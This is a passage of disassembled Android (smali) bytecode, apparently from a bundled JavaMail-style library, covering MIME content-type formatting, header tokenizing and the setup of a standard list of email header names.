00000014  new-instance            v0, StringBuffer
00000018  invoke-direct           StringBuffer-><init>()V, v0
0000001E  iget-object             v1, p0, ContentType->primaryType:String
00000022  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
00000028  move-result-object      v1
0000002A  const/16                v2, 0x2F
0000002E  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
00000034  move-result-object      v1
00000036  iget-object             v2, p0, ContentType->subType:String
0000003A  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v2
00000040  iget-object             v1, p0, ContentType->list:ParameterList
00000044  if-eqz                  v1, :66
:48
00000048  iget-object             v1, p0, ContentType->list:ParameterList
0000004C  invoke-virtual          StringBuffer->length()I, v0
00000052  move-result             v2
00000054  add-int/lit8            v2, v2, 0xE
00000058  invoke-virtual          ParameterList->toString(I)String, v1, v2
0000005E  move-result-object      v1
00000060  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:66
00000066  invoke-virtual          StringBuffer->toString()String, v0
0000006C  move-result-object      v0
0000006E  goto                    :12
.end method

#--------------------------------------------------------------------------------
.class public HeaderTokenizer$Token
.super Object
.source ""

.field public static final ATOM:I = 0xFFFFFFFF
.field public static final COMMENT:I = 0xFFFFFFFD
.field public static final EOF:I = 0xFFFFFFFC
.field public static final QUOTEDSTRING:I = 0xFFFFFFFE
.field private type:I
.field private value:String

.method public constructor <init>(I, String)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput                    p1, p0, HeaderTokenizer$Token->type:I
0000000A  iput-object             p2, p0, HeaderTokenizer$Token->value:String
0000000E  return-void
.end method

.method public getType()I
          .registers 2
00000000  iget                    v0, p0, HeaderTokenizer$Token->type:I
00000004  return                  v0
.end method

.method public getValue()String
          .registers 2
00000000  iget-object             v0, p0, HeaderTokenizer$Token->value:String
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public HeaderTokenizer
.super Object
.source ""

.field private static final EOFToken:HeaderTokenizer$Token = null
.field public static final MIME:String = "()<>@,;:\\\"\t []/?="
.field public static final RFC822:String = "()<>@,;:\\\"\t .[]"
.field private currentPos:I
.field private delimiters:String
.field private maxPos:I
.field private nextPos:I
.field private peekPos:I
.field private skipComments:Z
.field private string:String

.method static constructor <clinit>()V
          .registers 3
00000000  new-instance            v0, HeaderTokenizer$Token
00000004  const/4                 v1, 0xFFFFFFFFFFFFFFFC
00000006  const/4                 v2, 0x0
00000008  invoke-direct           HeaderTokenizer$Token-><init>(I, String)V, v0, v1, v2
0000000E  sput-object             v0, HeaderTokenizer->EOFToken:HeaderTokenizer$Token
00000012  return-void
.end method

.method public constructor <init>(String)V
          .registers 3
00000000  const-string            v0, "()<>@,;:\\\"\t .[]"
00000004  invoke-direct           HeaderTokenizer-><init>(String, String)V, p0, p1, v0
0000000A  return-void
.end method

.method public constructor <init>(String, String)V
          .registers 4
00000000  const/4                 v0, 0x1
00000002  invoke-direct           HeaderTokenizer-><init>(String, String, Z)V, p0, p1, p2, v0
00000008  return-void
.end method

.method public constructor <init>(String, String, Z)V
          .registers 5
00000000  invoke-direct           Object-><init>()V, p0
00000006  if-nez                  p1, :E
:A
0000000A  const-string            p1, ""
:E
0000000E  iput-object             p1, p0, HeaderTokenizer->string:String
00000012  iput-boolean            p3, p0, HeaderTokenizer->skipComments:Z
00000016  iput-object             p2, p0, HeaderTokenizer->delimiters:String
0000001A  const/4                 v0, 0x0
0000001C  iput                    v0, p0, HeaderTokenizer->peekPos:I
00000020  iput                    v0, p0, HeaderTokenizer->nextPos:I
00000024  iput                    v0, p0, HeaderTokenizer->currentPos:I
00000028  iget-object             v0, p0, HeaderTokenizer->string:String
0000002C  invoke-virtual          String->length()I, v0
00000032  move-result             v0
00000034  iput                    v0, p0, HeaderTokenizer->maxPos:I
00000038  return-void
.end method

.method private static filterToken(String, I, I)String
          .registers 11
00000000  const/4                 v2, 0x1
00000002  const/4                 v1, 0x0
00000004  new-instance            v4, StringBuffer
00000008  invoke-direct           StringBuffer-><init>()V, v4
0000000E  move                    v3, v1
00000010  move                    v0, v1
:12
00000012  if-lt                   p1, p2, :20
:16
00000016  invoke-virtual          StringBuffer->toString()String, v4
0000001C  move-result-object      v0
0000001E  return-object           v0
:20
00000020  invoke-virtual          String->charAt(I)C, p0, p1
00000026  move-result             v5
00000028  const/16                v6, 0xA
0000002C  if-ne                   v5, v6, :44
:30
00000030  if-eqz                  v3, :44
:34
00000034  move                    v3, v0
00000036  move                    v0, v1
:38
00000038  add-int/lit8            p1, p1, 0x1
0000003C  move                    v7, v0
0000003E  move                    v0, v3
00000040  move                    v3, v7
00000042  goto                    :12
:44
00000044  if-nez                  v0, :70
:48
00000048  const/16                v3, 0x5C
0000004C  if-ne                   v5, v3, :56
:50
00000050  move                    v0, v1
00000052  move                    v3, v2
00000054  goto                    :38
:56
00000056  const/16                v3, 0xD
0000005A  if-ne                   v5, v3, :64
:5E
0000005E  move                    v3, v0
00000060  move                    v0, v2
00000062  goto                    :38
:64
00000064  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v5
0000006A  move                    v3, v0
0000006C  move                    v0, v1
0000006E  goto                    :38
:70
00000070  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v5
00000076  move                    v0, v1
00000078  move                    v3, v1
0000007A  goto                    :38
.end method

.method private getNext()HeaderTokenizer$Token
          .registers 12
00000000  const/4                 v9, 0xFFFFFFFFFFFFFFFC
00000002  const/16                v8, 0x28
00000006  const/16                v7, 0x22
0000000A  const/16                v6, 0x20
0000000E  const/4                 v2, 0x1
00000010  iget                    v0, p0, HeaderTokenizer->currentPos:I
00000014  iget                    v1, p0, HeaderTokenizer->maxPos:I
00000018  if-lt                   v0, v1, :22
:1C
0000001C  sget-object             v0, HeaderTokenizer->EOFToken:HeaderTokenizer$Token
:20
00000020  return-object           v0
:22
00000022  invoke-direct           HeaderTokenizer->skipWhiteSpace()I, p0
00000028  move-result             v0
0000002A  if-ne                   v0, v9, :34
:2E
0000002E  sget-object             v0, HeaderTokenizer->EOFToken:HeaderTokenizer$Token
00000032  goto                    :20
:34
00000034  const/4                 v0, 0x0
00000036  iget-object             v1, p0, HeaderTokenizer->string:String
0000003A  iget                    v3, p0, HeaderTokenizer->currentPos:I
0000003E  invoke-virtual          String->charAt(I)C, v1, v3
00000044  move-result             v1
:46
00000046  if-eq                   v1, v8, :76
:4A
0000004A  if-ne                   v1, v7, :20A
:4E
0000004E  iget                    v1, p0, HeaderTokenizer->currentPos:I
00000052  add-int/lit8            v1, v1, 0x1
00000056  iput                    v1, p0, HeaderTokenizer->currentPos:I
:5A
0000005A  iget                    v3, p0, HeaderTokenizer->currentPos:I
0000005E  iget                    v4, p0, HeaderTokenizer->maxPos:I
00000062  if-lt                   v3, v4, :178
:66
00000066  new-instance            v0, ParseException
0000006A  const-string            v1, "Unbalanced quoted string"
0000006E  invoke-direct           ParseException-><init>(String)V, v0, v1
00000074  throw                   v0
:76
00000076  iget                    v1, p0, HeaderTokenizer->currentPos:I
0000007A  add-int/lit8            v3, v1, 0x1
0000007E  iput                    v3, p0, HeaderTokenizer->currentPos:I
00000082  move                    v1, v0
00000084  move                    v0, v2
:86
00000086  if-lez                  v0, :96
:8A
0000008A  iget                    v4, p0, HeaderTokenizer->currentPos:I
0000008E  iget                    v5, p0, HeaderTokenizer->maxPos:I
00000092  if-lt                   v4, v5, :AA
:96
00000096  if-eqz                  v0, :102
:9A
0000009A  new-instance            v0, ParseException
0000009E  const-string            v1, "Unbalanced comments"
000000A2  invoke-direct           ParseException-><init>(String)V, v0, v1
000000A8  throw                   v0
:AA
000000AA  iget-object             v4, p0, HeaderTokenizer->string:String
000000AE  iget                    v5, p0, HeaderTokenizer->currentPos:I
000000B2  invoke-virtual          String->charAt(I)C, v4, v5
000000B8  move-result             v4
000000BA  const/16                v5, 0x5C
000000BE  if-ne                   v4, v5, :DE
:C2
000000C2  iget                    v1, p0, HeaderTokenizer->currentPos:I
000000C6  add-int/lit8            v1, v1, 0x1
000000CA  iput                    v1, p0, HeaderTokenizer->currentPos:I
000000CE  move                    v1, v2
:D0
000000D0  iget                    v4, p0, HeaderTokenizer->currentPos:I
000000D4  add-int/lit8            v4, v4, 0x1
000000D8  iput                    v4, p0, HeaderTokenizer->currentPos:I
000000DC  goto                    :86
:DE
000000DE  const/16                v5, 0xD
000000E2  if-ne                   v4, v5, :EA
:E6
000000E6  move                    v1, v2
000000E8  goto                    :D0
:EA
000000EA  if-ne                   v4, v8, :F4
:EE
000000EE  add-int/lit8            v0, v0, 0x1
000000F2  goto                    :D0
:F4
000000F4  const/16                v5, 0x29
000000F8  if-ne                   v4, v5, :D0
:FC
000000FC  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000100  goto                    :D0
:102
00000102  iget-boolean            v0, p0, HeaderTokenizer->skipComments:Z
00000106  if-nez                  v0, :14A
:10A
0000010A  if-eqz                  v1, :134
:10E
0000010E  iget-object             v0, p0, HeaderTokenizer->string:String
00000112  iget                    v1, p0, HeaderTokenizer->currentPos:I
00000116  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
0000011A  invoke-static           HeaderTokenizer->filterToken(String, I, I)String, v0, v3, v1
00000120  move-result-object      v0
:122
00000122  new-instance            v1, HeaderTokenizer$Token
00000126  const/4                 v2, 0xFFFFFFFFFFFFFFFD
00000128  invoke-direct           HeaderTokenizer$Token-><init>(I, String)V, v1, v2, v0
0000012E  move-object             v0, v1
00000130  goto/16                 :20
:134
00000134  iget-object             v0, p0, HeaderTokenizer->string:String
00000138  iget                    v1, p0, HeaderTokenizer->currentPos:I
0000013C  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000140  invoke-virtual          String->substring(I, I)String, v0, v3, v1
00000146  move-result-object      v0
00000148  goto                    :122
:14A
0000014A  invoke-direct           HeaderTokenizer->skipWhiteSpace()I, p0
00000150  move-result             v0
00000152  if-ne                   v0, v9, :15E
:156
00000156  sget-object             v0, HeaderTokenizer->EOFToken:HeaderTokenizer$Token
0000015A  goto/16                 :20
:15E
0000015E  iget-object             v0, p0, HeaderTokenizer->string:String
00000162  iget                    v3, p0, HeaderTokenizer->currentPos:I
00000166  invoke-virtual          String->charAt(I)C, v0, v3
0000016C  move-result             v0
0000016E  move                    v10, v1
00000170  move                    v1, v0
00000172  move                    v0, v10
00000174  goto/16                 :46
:178
00000178  iget-object             v3, p0, HeaderTokenizer->string:String
0000017C  iget                    v4, p0, HeaderTokenizer->currentPos:I
00000180  invoke-virtual          String->charAt(I)C, v3, v4
00000186  move-result             v3
00000188  const/16                v4, 0x5C
0000018C  if-ne                   v3, v4, :1AE
:190
00000190  iget                    v0, p0, HeaderTokenizer->currentPos:I
00000194  add-int/lit8            v0, v0, 0x1
00000198  iput                    v0, p0, HeaderTokenizer->currentPos:I
0000019C  move                    v0, v2
:19E
0000019E  iget                    v3, p0, HeaderTokenizer->currentPos:I
000001A2  add-int/lit8            v3, v3, 0x1
000001A6  iput                    v3, p0, HeaderTokenizer->currentPos:I
000001AA  goto/16                 :5A
:1AE
000001AE  const/16                v4, 0xD
000001B2  if-ne                   v3, v4, :1BA
:1B6
000001B6  move                    v0, v2
000001B8  goto                    :19E
:1BA
000001BA  if-ne                   v3, v7, :19E
:1BE
000001BE  iget                    v2, p0, HeaderTokenizer->currentPos:I
000001C2  add-int/lit8            v2, v2, 0x1
000001C6  iput                    v2, p0, HeaderTokenizer->currentPos:I
000001CA  if-eqz                  v0, :1F4
:1CE
000001CE  iget-object             v0, p0, HeaderTokenizer->string:String
000001D2  iget                    v2, p0, HeaderTokenizer->currentPos:I
000001D6  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
000001DA  invoke-static           HeaderTokenizer->filterToken(String, I, I)String, v0, v1, v2
000001E0  move-result-object      v0
:1E2
000001E2  new-instance            v1, HeaderTokenizer$Token
000001E6  const/4                 v2, 0xFFFFFFFFFFFFFFFE
000001E8  invoke-direct           HeaderTokenizer$Token-><init>(I, String)V, v1, v2, v0
000001EE  move-object             v0, v1
000001F0  goto/16                 :20
:1F4
000001F4  iget-object             v0, p0, HeaderTokenizer->string:String
000001F8  iget                    v2, p0, HeaderTokenizer->currentPos:I
000001FC  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
00000200  invoke-virtual          String->substring(I, I)String, v0, v1, v2
00000206  move-result-object      v0
00000208  goto                    :1E2
:20A
0000020A  if-lt                   v1, v6, :226
:20E
0000020E  const/16                v0, 0x7F
00000212  if-ge                   v1, v0, :226
:216
00000216  iget-object             v0, p0, HeaderTokenizer->delimiters:String
0000021A  invoke-virtual          String->indexOf(I)I, v0, v1
00000220  move-result             v0
00000222  if-ltz                  v0, :254
:226
00000226  iget                    v0, p0, HeaderTokenizer->currentPos:I
0000022A  add-int/lit8            v0, v0, 0x1
0000022E  iput                    v0, p0, HeaderTokenizer->currentPos:I
00000232  new-array               v2, v2, [C
00000236  const/4                 v0, 0x0
00000238  aput-char               v1, v2, v0
0000023C  new-instance            v0, HeaderTokenizer$Token
00000240  new-instance            v3, String
00000244  invoke-direct           String-><init>([C)V, v3, v2
0000024A  invoke-direct           HeaderTokenizer$Token-><init>(I, String)V, v0, v1, v3
00000250  goto/16                 :20
:254
00000254  iget                    v1, p0, HeaderTokenizer->currentPos:I
:258
00000258  iget                    v0, p0, HeaderTokenizer->currentPos:I
0000025C  iget                    v2, p0, HeaderTokenizer->maxPos:I
00000260  if-lt                   v0, v2, :284
:264
00000264  new-instance            v0, HeaderTokenizer$Token
00000268  const/4                 v2, 0xFFFFFFFFFFFFFFFF
0000026A  iget-object             v3, p0, HeaderTokenizer->string:String
0000026E  iget                    v4, p0, HeaderTokenizer->currentPos:I
00000272  invoke-virtual          String->substring(I, I)String, v3, v1, v4
00000278  move-result-object      v1
0000027A  invoke-direct           HeaderTokenizer$Token-><init>(I, String)V, v0, v2, v1
00000280  goto/16                 :20
:284
00000284  iget-object             v0, p0, HeaderTokenizer->string:String
00000288  iget                    v2, p0, HeaderTokenizer->currentPos:I
0000028C  invoke-virtual          String->charAt(I)C, v0, v2
00000292  move-result             v0
00000294  if-lt                   v0, v6, :264
:298
00000298  const/16                v2, 0x7F
0000029C  if-ge                   v0, v2, :264
:2A0
000002A0  if-eq                   v0, v8, :264
:2A4
000002A4  if-eq                   v0, v6, :264
:2A8
000002A8  if-eq                   v0, v7, :264
:2AC
000002AC  iget-object             v2, p0, HeaderTokenizer->delimiters:String
000002B0  invoke-virtual          String->indexOf(I)I, v2, v0
000002B6  move-result             v0
000002B8  if-gez                  v0, :264
:2BC
000002BC  iget                    v0, p0, HeaderTokenizer->currentPos:I
000002C0  add-int/lit8            v0, v0, 0x1
000002C4  iput                    v0, p0, HeaderTokenizer->currentPos:I
000002C8  goto                    :258
.end method

.method private skipWhiteSpace()I
          .registers 3
00000000  iget                    v0, p0, HeaderTokenizer->currentPos:I
00000004  iget                    v1, p0, HeaderTokenizer->maxPos:I
00000008  if-lt                   v0, v1, :10
:C
0000000C  const/4                 v0, 0xFFFFFFFFFFFFFFFC
:E
0000000E  return                  v0
:10
00000010  iget-object             v0, p0, HeaderTokenizer->string:String
00000014  iget                    v1, p0, HeaderTokenizer->currentPos:I
00000018  invoke-virtual          String->charAt(I)C, v0, v1
0000001E  move-result             v0
00000020  const/16                v1, 0x20
00000024  if-eq                   v0, v1, :46
:28
00000028  const/16                v1, 0x9
0000002C  if-eq                   v0, v1, :46
:30
00000030  const/16                v1, 0xD
00000034  if-eq                   v0, v1, :46
:38
00000038  const/16                v1, 0xA
0000003C  if-eq                   v0, v1, :46
:40
00000040  iget                    v0, p0, HeaderTokenizer->currentPos:I
00000044  goto                    :E
:46
00000046  iget                    v0, p0, HeaderTokenizer->currentPos:I
0000004A  add-int/lit8            v0, v0, 0x1
0000004E  iput                    v0, p0, HeaderTokenizer->currentPos:I
00000052  goto                    :0
.end method

.method public getRemainder()String
          .registers 3
00000000  iget-object             v0, p0, HeaderTokenizer->string:String
00000004  iget                    v1, p0, HeaderTokenizer->nextPos:I
00000008  invoke-virtual          String->substring(I)String, v0, v1
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

.method public next()HeaderTokenizer$Token
          .registers 3
00000000  iget                    v0, p0, HeaderTokenizer->nextPos:I
00000004  iput                    v0, p0, HeaderTokenizer->currentPos:I
00000008  invoke-direct           HeaderTokenizer->getNext()HeaderTokenizer$Token, p0
0000000E  move-result-object      v0
00000010  iget                    v1, p0, HeaderTokenizer->currentPos:I
00000014  iput                    v1, p0, HeaderTokenizer->peekPos:I
00000018  iput                    v1, p0, HeaderTokenizer->nextPos:I
0000001C  return-object           v0
.end method

.method public peek()HeaderTokenizer$Token
          .registers 3
00000000  iget                    v0, p0, HeaderTokenizer->peekPos:I
00000004  iput                    v0, p0, HeaderTokenizer->currentPos:I
00000008  invoke-direct           HeaderTokenizer->getNext()HeaderTokenizer$Token, p0
0000000E  move-result-object      v0
00000010  iget                    v1, p0, HeaderTokenizer->currentPos:I
00000014  iput                    v1, p0, HeaderTokenizer->peekPos:I
00000018  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public final InternetHeaders$InternetHeader
.super Header
.source ""

.field line:String

.method public constructor <init>(String)V
          .registers 4
00000000  const-string            v0, ""
00000004  const-string            v1, ""
00000008  invoke-direct           Header-><init>(String, String)V, p0, v0, v1
0000000E  const/16                v0, 0x3A
00000012  invoke-virtual          String->indexOf(I)I, p1, v0
00000018  move-result             v0
0000001A  if-gez                  v0, :30
:1E
0000001E  invoke-virtual          String->trim()String, p1
00000024  move-result-object      v0
00000026  iput-object             v0, p0, InternetHeaders$InternetHeader->name:String
:2A
0000002A  iput-object             p1, p0, InternetHeaders$InternetHeader->line:String
0000002E  return-void
:30
00000030  const/4                 v1, 0x0
00000032  invoke-virtual          String->substring(I, I)String, p1, v1, v0
00000038  move-result-object      v0
0000003A  invoke-virtual          String->trim()String, v0
00000040  move-result-object      v0
00000042  iput-object             v0, p0, InternetHeaders$InternetHeader->name:String
00000046  goto                    :2A
.end method

.method public constructor <init>(String, String)V
          .registers 5
00000000  const-string            v0, ""
00000004  invoke-direct           Header-><init>(String, String)V, p0, p1, v0
0000000A  if-eqz                  p2, :42
:E
0000000E  new-instance            v0, StringBuilder
00000012  invoke-static           String->valueOf(Object)String, p1
00000018  move-result-object      v1
0000001A  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000020  const-string            v1, ": "
00000024  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000002A  move-result-object      v0
0000002C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p2
00000032  move-result-object      v0
00000034  invoke-virtual          StringBuilder->toString()String, v0
0000003A  move-result-object      v0
0000003C  iput-object             v0, p0, InternetHeaders$InternetHeader->line:String
:40
00000040  return-void
:42
00000042  const/4                 v0, 0x0
00000044  iput-object             v0, p0, InternetHeaders$InternetHeader->line:String
00000048  goto                    :40
.end method

.method public getValue()String
          .registers 4
00000000  iget-object             v0, p0, InternetHeaders$InternetHeader->line:String
00000004  const/16                v1, 0x3A
00000008  invoke-virtual          String->indexOf(I)I, v0, v1
0000000E  move-result             v0
00000010  if-gez                  v0, :1A
:14
00000014  iget-object             v0, p0, InternetHeaders$InternetHeader->line:String
:18
00000018  return-object           v0
:1A
0000001A  add-int/lit8            v0, v0, 0x1
:1E
0000001E  iget-object             v1, p0, InternetHeaders$InternetHeader->line:String
00000022  invoke-virtual          String->length()I, v1
00000028  move-result             v1
0000002A  if-lt                   v0, v1, :3C
:2E
0000002E  iget-object             v1, p0, InternetHeaders$InternetHeader->line:String
00000032  invoke-virtual          String->substring(I)String, v1, v0
00000038  move-result-object      v0
0000003A  goto                    :18
:3C
0000003C  iget-object             v1, p0, InternetHeaders$InternetHeader->line:String
00000040  invoke-virtual          String->charAt(I)C, v1, v0
00000046  move-result             v1
00000048  const/16                v2, 0x20
0000004C  if-eq                   v1, v2, :68
:50
00000050  const/16                v2, 0x9
00000054  if-eq                   v1, v2, :68
:58
00000058  const/16                v2, 0xD
0000005C  if-eq                   v1, v2, :68
:60
00000060  const/16                v2, 0xA
00000064  if-ne                   v1, v2, :2E
:68
00000068  add-int/lit8            v0, v0, 0x1
0000006C  goto                    :1E
.end method

#--------------------------------------------------------------------------------
.class InternetHeaders$matchEnum
.super Object
.source ""

.implements Enumeration

.field private e:Iterator
.field private match:Z
.field private names:[String
.field private next_header:InternetHeaders$InternetHeader
.field private want_line:Z

.method constructor <init>(List, [String, Z, Z)V
          .registers 6
00000000  invoke-direct           Object-><init>()V, p0
00000006  invoke-interface        List->iterator()Iterator, p1
0000000C  move-result-object      v0
0000000E  iput-object             v0, p0, InternetHeaders$matchEnum->e:Iterator
00000012  iput-object             p2, p0, InternetHeaders$matchEnum->names:[String
00000016  iput-boolean            p3, p0, InternetHeaders$matchEnum->match:Z
0000001A  iput-boolean            p4, p0, InternetHeaders$matchEnum->want_line:Z
0000001E  const/4                 v0, 0x0
00000020  iput-object             v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000024  return-void
.end method

.method private nextMatch()InternetHeaders$InternetHeader
          .registers 6
00000000  const/4                 v1, 0x0
:2
00000002  iget-object             v0, p0, InternetHeaders$matchEnum->e:Iterator
00000006  invoke-interface        Iterator->hasNext()Z, v0
0000000C  move-result             v0
0000000E  if-nez                  v0, :16
:12
00000012  move-object             v0, v1
:14
00000014  return-object           v0
:16
00000016  iget-object             v0, p0, InternetHeaders$matchEnum->e:Iterator
0000001A  invoke-interface        Iterator->next()Object, v0
00000020  move-result-object      v0
00000022  check-cast              v0, InternetHeaders$InternetHeader
00000026  iget-object             v2, v0, InternetHeaders$InternetHeader->line:String
0000002A  if-eqz                  v2, :2
:2E
0000002E  iget-object             v2, p0, InternetHeaders$matchEnum->names:[String
00000032  if-nez                  v2, :42
:36
00000036  iget-boolean            v2, p0, InternetHeaders$matchEnum->match:Z
0000003A  if-eqz                  v2, :14
:3E
0000003E  move-object             v0, v1
00000040  goto                    :14
:42
00000042  const/4                 v2, 0x0
:44
00000044  iget-object             v3, p0, InternetHeaders$matchEnum->names:[String
00000048  array-length            v3, v3
0000004A  if-lt                   v2, v3, :58
:4E
0000004E  iget-boolean            v2, p0, InternetHeaders$matchEnum->match:Z
00000052  if-nez                  v2, :2
:56
00000056  goto                    :14
:58
00000058  iget-object             v3, p0, InternetHeaders$matchEnum->names:[String
0000005C  aget-object             v3, v3, v2
00000060  invoke-virtual          InternetHeaders$InternetHeader->getName()String, v0
00000066  move-result-object      v4
00000068  invoke-virtual          String->equalsIgnoreCase(String)Z, v3, v4
0000006E  move-result             v3
00000070  if-eqz                  v3, :7E
:74
00000074  iget-boolean            v2, p0, InternetHeaders$matchEnum->match:Z
00000078  if-eqz                  v2, :2
:7C
0000007C  goto                    :14
:7E
0000007E  add-int/lit8            v2, v2, 0x1
00000082  goto                    :44
.end method

.method public hasMoreElements()Z
          .registers 2
00000000  iget-object             v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000004  if-nez                  v0, :14
:8
00000008  invoke-direct           InternetHeaders$matchEnum->nextMatch()InternetHeaders$InternetHeader, p0
0000000E  move-result-object      v0
00000010  iput-object             v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
:14
00000014  iget-object             v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000018  if-eqz                  v0, :20
:1C
0000001C  const/4                 v0, 0x1
:1E
0000001E  return                  v0
:20
00000020  const/4                 v0, 0x0
00000022  goto                    :1E
.end method

.method public nextElement()Object
          .registers 4
00000000  iget-object             v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000004  if-nez                  v0, :14
:8
00000008  invoke-direct           InternetHeaders$matchEnum->nextMatch()InternetHeaders$InternetHeader, p0
0000000E  move-result-object      v0
00000010  iput-object             v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
:14
00000014  iget-object             v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000018  if-nez                  v0, :2C
:1C
0000001C  new-instance            v0, NoSuchElementException
00000020  const-string            v1, "No more headers"
00000024  invoke-direct           NoSuchElementException-><init>(String)V, v0, v1
0000002A  throw                   v0
:2C
0000002C  iget-object             v1, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000030  const/4                 v0, 0x0
00000032  iput-object             v0, p0, InternetHeaders$matchEnum->next_header:InternetHeaders$InternetHeader
00000036  iget-boolean            v0, p0, InternetHeaders$matchEnum->want_line:Z
0000003A  if-eqz                  v0, :44
:3E
0000003E  iget-object             v0, v1, InternetHeaders$InternetHeader->line:String
:42
00000042  return-object           v0
:44
00000044  new-instance            v0, Header
00000048  invoke-virtual          InternetHeaders$InternetHeader->getName()String, v1
0000004E  move-result-object      v2
00000050  invoke-virtual          InternetHeaders$InternetHeader->getValue()String, v1
00000056  move-result-object      v1
00000058  invoke-direct           Header-><init>(String, String)V, v0, v2, v1
0000005E  goto                    :42
.end method

#--------------------------------------------------------------------------------
.class public InternetHeaders
.super Object
.source ""

.field protected headers:List

.method public constructor <init>()V
          .registers 5
00000000  const/4                 v3, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  new-instance            v0, ArrayList
0000000C  const/16                v1, 0x28
00000010  invoke-direct           ArrayList-><init>(I)V, v0, v1
00000016  iput-object             v0, p0, InternetHeaders->headers:List
0000001A  iget-object             v0, p0, InternetHeaders->headers:List
0000001E  new-instance            v1, InternetHeaders$InternetHeader
00000022  const-string            v2, "Return-Path"
00000026  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000002C  invoke-interface        List->add(Object)Z, v0, v1
00000032  iget-object             v0, p0, InternetHeaders->headers:List
00000036  new-instance            v1, InternetHeaders$InternetHeader
0000003A  const-string            v2, "Received"
0000003E  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000044  invoke-interface        List->add(Object)Z, v0, v1
0000004A  iget-object             v0, p0, InternetHeaders->headers:List
0000004E  new-instance            v1, InternetHeaders$InternetHeader
00000052  const-string            v2, "Resent-Date"
00000056  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000005C  invoke-interface        List->add(Object)Z, v0, v1
00000062  iget-object             v0, p0, InternetHeaders->headers:List
00000066  new-instance            v1, InternetHeaders$InternetHeader
0000006A  const-string            v2, "Resent-From"
0000006E  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000074  invoke-interface        List->add(Object)Z, v0, v1
0000007A  iget-object             v0, p0, InternetHeaders->headers:List
0000007E  new-instance            v1, InternetHeaders$InternetHeader
00000082  const-string            v2, "Resent-Sender"
00000086  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000008C  invoke-interface        List->add(Object)Z, v0, v1
00000092  iget-object             v0, p0, InternetHeaders->headers:List
00000096  new-instance            v1, InternetHeaders$InternetHeader
0000009A  const-string            v2, "Resent-To"
0000009E  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000000A4  invoke-interface        List->add(Object)Z, v0, v1
000000AA  iget-object             v0, p0, InternetHeaders->headers:List
000000AE  new-instance            v1, InternetHeaders$InternetHeader
000000B2  const-string            v2, "Resent-Cc"
000000B6  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000000BC  invoke-interface        List->add(Object)Z, v0, v1
000000C2  iget-object             v0, p0, InternetHeaders->headers:List
000000C6  new-instance            v1, InternetHeaders$InternetHeader
000000CA  const-string            v2, "Resent-Bcc"
000000CE  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000000D4  invoke-interface        List->add(Object)Z, v0, v1
000000DA  iget-object             v0, p0, InternetHeaders->headers:List
000000DE  new-instance            v1, InternetHeaders$InternetHeader
000000E2  const-string            v2, "Resent-Message-Id"
000000E6  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000000EC  invoke-interface        List->add(Object)Z, v0, v1
000000F2  iget-object             v0, p0, InternetHeaders->headers:List
000000F6  new-instance            v1, InternetHeaders$InternetHeader
000000FA  const-string            v2, "Date"
000000FE  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000104  invoke-interface        List->add(Object)Z, v0, v1
0000010A  iget-object             v0, p0, InternetHeaders->headers:List
0000010E  new-instance            v1, InternetHeaders$InternetHeader
00000112  const-string            v2, "From"
00000116  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000011C  invoke-interface        List->add(Object)Z, v0, v1
00000122  iget-object             v0, p0, InternetHeaders->headers:List
00000126  new-instance            v1, InternetHeaders$InternetHeader
0000012A  const-string            v2, "Sender"
0000012E  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000134  invoke-interface        List->add(Object)Z, v0, v1
0000013A  iget-object             v0, p0, InternetHeaders->headers:List
0000013E  new-instance            v1, InternetHeaders$InternetHeader
00000142  const-string            v2, "Reply-To"
00000146  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000014C  invoke-interface        List->add(Object)Z, v0, v1
00000152  iget-object             v0, p0, InternetHeaders->headers:List
00000156  new-instance            v1, InternetHeaders$InternetHeader
0000015A  const-string            v2, "To"
0000015E  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000164  invoke-interface        List->add(Object)Z, v0, v1
0000016A  iget-object             v0, p0, InternetHeaders->headers:List
